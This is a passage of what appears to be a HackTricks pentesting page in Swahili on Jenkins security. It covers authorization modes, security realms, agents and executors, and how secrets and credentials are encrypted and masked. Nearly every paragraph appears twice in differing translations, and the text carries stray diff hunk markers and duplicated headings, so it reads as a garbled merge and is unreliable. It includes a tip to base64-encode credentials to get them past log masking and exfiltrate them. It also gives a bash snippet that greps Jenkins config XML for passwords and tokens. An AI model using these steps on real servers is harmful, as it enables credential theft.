- **Usalama wa msingi wa Matrix**: Unaweza kuunda **nani anaweza kufanya nini** katika jedwali. Kila **safu** inawakilisha **idhini**. Kila **mstari** **unawakilisha** **mtumiaji au kundi/nafasi.** Hii inajumuisha mtumiaji maalum '**asiyejulikana**', ambaye anawakilisha **watumiaji wasio na uthibitisho**, pamoja na '**uthibitishwa**', ambaye anawakilisha **watumiaji wote walio na uthibitisho**.
- **Anyone can do anything**: Hata ufikiaji wa **anonymous** unaweza kusimamia server.
- **Legacy mode**: Kama ilivyokuwa kwenye Jenkins <1.164. Ikiwa una **"admin" role**, utapewa **full control** juu ya mfumo, na **vinginevyo** (ikijumuisha watumiaji **anonymous**) utapata tu ufikiaji wa **read**.
- **Logged-in users can do anything**: Katika mode hii, kila **mtumiaji aliyesajiliwa ana full control** ya Jenkins. Mtumiaji pekee ambaye hatakuwa na full control ni **anonymous user**, ambaye anapata tu **read access**.
- **Matrix-based security**: Unaweza kusanidi **nani anaweza kufanya nini** katika jedwali. Kila **column** inawakilisha **permission**. Kila **row** **inawakilisha** **user au group/role.** Hii ni pamoja na mtumiaji maalum '**anonymous**', unaowakilisha **watumiaji wasioidhinishwa**, pamoja na '**authenticated**', unaowakilisha **watumiaji wote waliothibitishwa**.
![](<../../images/image (149).png>)
- **Mkakati wa Uidhinishaji wa Msingi wa Mradi:** Njia hii ni **nyongeza** kwa "**Usalama wa msingi wa Matrix**" inayoruhusu ACL ya ziada kuundwa **kwa kila mradi tofauti.**
- **Mkakati wa Kazi:** Inaruhusu kuunda uidhinishaji kwa kutumia **mkakati wa kazi**. Simamia nafasi katika `/role-strategy`.
- **Project-based Matrix Authorization Strategy:** Mode hii ni **ongezeko** la "**Matrix-based security**" ambalo linaruhusu ACL matrix za ziada **kufafanuliwa kwa kila project kwa njia tofauti.**
- **Role-Based Strategy:** Inaruhusu ufafanuzi wa authorizations kwa kutumia **role-based strategy**. Simamia roles katika `/role-strategy`.
## **Ufalme wa Usalama**
## **Security Realm**
Katika `/configureSecurity` inawezekana **kuunda ufalme wa usalama.** Kwa kawaida Jenkins inajumuisha msaada wa Ufalme wa Usalama kadhaa tofauti:
Katika `/configureSecurity` inawezekana **kusanidi security realm.** Kwa default Jenkins ina msaada kwa Security Realms kadhaa tofauti:
- **Delegati kwa kontena la servlet**: Kwa **kuhamasisha uthibitisho kwa kontena la servlet linaloendesha Jenkins controller**, kama [Jetty](https://www.eclipse.org/jetty/).
- **Hifadhidata ya mtumiaji ya Jenkins:** Tumia **hifadhidata ya mtumiaji iliyojengwa ndani ya Jenkins** kwa uthibitisho badala ya kuhamasisha kwa mfumo wa nje. Hii imewezeshwa kwa kawaida.
- **LDAP**: Hamisha uthibitisho wote kwa seva ya LDAP iliyowekwa, ikiwa ni pamoja na watumiaji na makundi.
- **Hifadhidata ya mtumiaji/kundi la Unix**: **Huhamisha uthibitisho kwa hifadhidata ya mtumiaji ya kiwango cha Unix** kwenye Jenkins controller. Njia hii pia itaruhusu matumizi ya makundi ya Unix kwa uidhinishaji.
- **Delegate to servlet container**: Kwa **kutoa authentication kwa servlet container inayotumia Jenkins controller**, kama [Jetty](https://www.eclipse.org/jetty/).
- **Jenkins’ own user database:** Tumia **hifadhi ya data ya watumiaji ya ndani ya Jenkins** kwa authentication badala ya kuirudisha kwa mfumo wa nje. Hii imewezeshwa kwa default.
- **LDAP**: Rudisha authentication yote kwa server ya LDAP iliyosanidiwa, ikijumuisha watumiaji na makundi.
- **Unix user/group database**: **Inarudisha authentication kwa hifadhi ya watumiaji ya mfumo wa Unix** kwenye controller ya Jenkins. Mode hii pia itaruhusu kutumia tena makundi ya Unix kwa ajili ya authorization.
Vyombo vya kazi vinaweza kutoa ufalme wa usalama wa ziada ambao unaweza kuwa muhimu kwa kuingiza Jenkins katika mifumo ya utambulisho iliyopo, kama vile:
Plugins zinaweza kutoa security realms za ziada ambazo zinaweza kuwa muhimu kwa kuingiza Jenkins katika mifumo ya utambulisho iliyopo, kama:
- [Active Directory](https://plugins.jenkins.io/active-directory)
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
## Nodes, Wakala & Watekelezaji wa Jenkins
## Jenkins Nodes, Agents & Executors
M definitions kutoka kwenye [docs](https://www.jenkins.io/doc/book/managing/nodes/):
Definitions kutoka kwa [docs](https://www.jenkins.io/doc/book/managing/nodes/):
**Nodes** ni **mashine** ambazo wakala wa ujenzi **wanakimbia**. Jenkins inafuatilia kila node iliyoambatanishwa kwa ajili ya nafasi ya diski, nafasi ya muda ya bure, kubadilishana bure, muda wa saa/sawazisha na muda wa majibu. Node inachukuliwa kuwa nje ya mtandao ikiwa mojawapo ya hizi thamani inatoka nje ya kigezo kilichowekwa.
**Nodes** ni **mashine** ambazo ambapo **agents za build zinaendesha**. Jenkins inafuatilia kila node iliyounganishwa kwa nafasi ya disk, nafasi ya temp bure, swap bure, saa/synchronization na wakati wa majibu. Node inachukuliwa offline ikiwa yoyote ya thamani hizi inapita kigezo kilichosanidiwa.
**Wakala** **wanasimamia** **utendaji wa kazi** kwa niaba ya Jenkins controller kwa **kutumia watekelezaji**. Wakala anaweza kutumia mfumo wowote wa uendeshaji unaounga mkono Java. Zana zinazohitajika kwa ajili ya ujenzi na majaribio zimewekwa kwenye node ambapo wakala anafanya kazi; zinaweza **kuwekwa moja kwa moja au kwenye kontena** (Docker au Kubernetes). Kila **wakala kwa ufanisi ni mchakato wenye PID yake** kwenye mashine mwenyeji.
**Agents** **huendesha** **utekelezaji wa kazi** kwa niaba ya Jenkins controller kwa **kutumia executors**. Agent inaweza kutumia mfumo wowote wa uendeshaji unaounga mkono Java. Zana zinazohitajika kwa builds na tests zinasakinishwa kwenye node ambapo agent inakimbia; zinaweza **kusakinishwa moja kwa moja au ndani ya container** (Docker au Kubernetes). Kila **agent kwa ujumla ni mchakato mwenye PID yake mwenyewe** kwenye mashine mwenyeji.
**Mtekelezaji** ni **nafasi ya kutekeleza kazi**; kwa ufanisi, ni **thread katika wakala**. **Idadi ya watekelezaji** kwenye node inafafanua idadi ya **kazi zinazoweza kutekelezwa kwa wakati mmoja** kwenye node hiyo. Kwa maneno mengine, hii inamua **idadi ya hatua za Pipeline `stages`** zinazoweza kutekelezwa kwenye node hiyo kwa wakati mmoja.
Executor ni **slot kwa uendeshaji wa kazi**; kwa vitendo, ni **thread ndani ya agent**. **Idadi ya executors** kwenye node inaamua idadi ya **kazi zinazoendeshwa sambamba** ambazo zinaweza kutekelezwa kwenye node hiyo kwa wakati mmoja. Kwa maneno mengine, hii inabainisha **idadi ya stages za Pipeline** zinazoweza kuendeshwa kwa wakati mmoja kwenye node hiyo.
## Siri za Jenkins
## Jenkins Secrets
### Ulinzi wa Siri na Hati
### Encryption of Secrets and Credentials
M definition kutoka kwenye [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins inatumia **AES kulinda na kulinda siri**, hati, na funguo zao za ulinzi. Funguo hizi za ulinzi zimehifadhiwa katika `$JENKINS_HOME/secrets/` pamoja na funguo kuu inayotumika kulinda funguo hizo. Hii directory inapaswa kuundwa ili tu mtumiaji wa mfumo wa uendeshaji ambaye Jenkins controller inakimbia kama awe na ufikiaji wa kusoma na kuandika kwenye directory hii (yaani, thamani ya `chmod` ya `0700` au kutumia sifa sahihi za faili). **Funguo kuu** (wakati mwingine inaitwa "funguo ya ulinzi wa funguo" katika cryptojargon) inahifadhiwa \_bila kulindwa\_ kwenye mfumo wa faili wa Jenkins controller katika **`$JENKINS_HOME/secrets/master.key`** ambayo haiwezi kulinda dhidi ya washambuliaji wenye ufikiaji wa moja kwa moja kwa faili hiyo. Watumiaji wengi na waendelezaji watatumia funguo hizi za ulinzi kwa njia isiyo ya moja kwa moja kupitia ama [Secret](https://javadoc.jenkins.io/byShortName/Secret) API kwa kulinda data ya siri ya kawaida au kupitia API ya hati. Kwa wale wanaopenda cryptography, Jenkins inatumia AES katika hali ya kuzuia block (CBC) na padding ya PKCS#5 na IV za nasibu kulinda matukio ya [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) ambayo yanahifadhiwa katika `$JENKINS_HOME/secrets/` kwa jina la faili linalolingana na `CryptoConfidentialKey` id yao. Idadi za kawaida za funguo ni pamoja na:
Definition kutoka kwa [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins inatumia **AES ku-encrypt na kulinda secrets**, credentials, na funguo zao za encryption. Funguo hizi za encryption zinahifadhiwa katika `$JENKINS_HOME/secrets/` pamoja na master key inayotumika kulinda funguo hizo. Dirisha hili linapaswa kusanidiwa ili mtumiaji wa mfumo wa uendeshaji ambaye Jenkins controller inakimbia kama yeye tu ndiye awe na haki ya kusoma na kuandika kwenye dirisha hili (kwa mfano, `chmod` ya `0700` au kutumia sifa za faili zinazofaa). **Master key** (mara nyingine inatajwa kama "key encryption key" katika istilahi za crypto) inahifadhiwa _unencrypted_ kwenye filesystem ya controller ya Jenkins katika **`$JENKINS_HOME/secrets/master.key`** ambayo haisilindii dhidi ya wavamizi walio na ufikiaji wa moja kwa moja wa faili hiyo. Watumiaji na watengenezaji wengi watatumia funguo hizi za encryption kwa njia isiyo ya moja kwa moja kupitia API ya [Secret](https://javadoc.jenkins.io/byShortName/Secret) kwa ajili ya ku-encrypt data ya siri za jumla au kupitia credentials API. Kwa wanaovutiwa na crypto, Jenkins inatumia AES katika cipher block chaining (CBC) mode na PKCS#5 padding na IVs za nasibu ku-encrypt instances za [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) ambazo zinahifadhiwa katika `$JENKINS_HOME/secrets/` kwa jina la faili linalolingana na id ya `CryptoConfidentialKey`. IDs za kawaida za funguo ni pamoja na:
- `hudson.util.Secret`: inatumika kwa siri za kawaida;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: inatumika kwa aina fulani za hati;
- `jenkins.model.Jenkins.crumbSalt`: inatumika na [mekanismu ya ulinzi wa CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); na
- `hudson.util.Secret`: inatumiwa kwa secrets za jumla;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: inatumiwa kwa aina fulani za credentials;
- `jenkins.model.Jenkins.crumbSalt`: inatumiwa na [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); na
### Ufikiaji wa Hati
### Credentials Access
Hati zinaweza **kuwekwa kwa watoa huduma wa kimataifa** (`/credentials/`) ambazo zinaweza kufikiwa na mradi wowote ulioandaliwa, au zinaweza kuwekwa kwa **miradi maalum** (`/job/<project-name>/configure`) na hivyo kuwa na ufikiaji kutoka mradi maalum tu.
Credentials zinaweza **kuwekwa sakani kwa global providers** (`/credentials/`) ambazo zinaweza kufikiwa na project yoyote iliyosanidiwa, au zinaweza kuwekwa sakani kwa **projects maalum** (`/job/<project-name>/configure`) na kwa hivyo zinaweza kufikiwa tu kutoka project husika.
Kulingana na [**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Hati ambazo ziko katika upeo zinapatikana kwa pipeline bila kikomo. Ili **kuzuia kufichuliwa kwa bahati mbaya katika kumbukumbu ya ujenzi**, hati zime **fichwa** kutoka kwa matokeo ya kawaida, hivyo mwito wa `env` (Linux) au `set` (Windows), au programu zinazochapisha mazingira yao au vigezo hazitafichua katika kumbukumbu ya ujenzi** kwa watumiaji ambao vinginevyo hawangeweza kupata hati hizo.
Kulingana na [**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials zilizo ndani ya scope zinapatikana kwenye pipeline bila vikwazo. Ili **kuzuia kufichuka kwa bahati mbaya katika build log**, credentials zinatahaniwa (masked) kutoka kwenye output ya kawaida, kwa hivyo mtego wa `env` (Linux) au `set` (Windows), au programu zinazochapisha environment yao au parameters hazitawaonyesha katika build log kwa watumiaji ambao vinginevyo hawana ufikiaji wa credentials.
**Ndio maana ili kuhamasisha hati, mshambuliaji anahitaji, kwa mfano, kuzifanya kuwa base64.**
**Ndiyo maana ili kutekeleza exfiltration ya credentials mwizi anahitaji, kwa mfano, kuzi-base64.**
## Marejeleo
### Secrets in plugin/job configs on disk
Usidhani secrets ziko tu katika `credentials.xml`. Plugins nyingi zinaweka secrets katika XML zao za kimataifa chini ya `$JENKINS_HOME/*.xml` au katika per-job `$JENKINS_HOME/jobs/<JOB>/config.xml`, wakati mwingine hata kwa plaintext (masking ya UI haiwahakikishi uhifadhi uliosenwa). Ikiwa unapata ufikiaji wa kusoma filesystem, orodhesha XML hizo na tafuta tags za siri zilizoonekana wazi.
```bash
# Global plugin configs
ls -l /var/lib/jenkins/*.xml
grep -R "password\\|token\\|SecretKey\\|credentialId" /var/lib/jenkins/*.xml
# Per-job configs
find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\\|token\\|SecretKey" {} \\;
```
## Marejeo
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
@@ -90,5 +101,6 @@ Kulingana na [**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-maski
- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
- [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
- [https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/](https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/)
{{#include ../../banners/hacktricks-training.md}}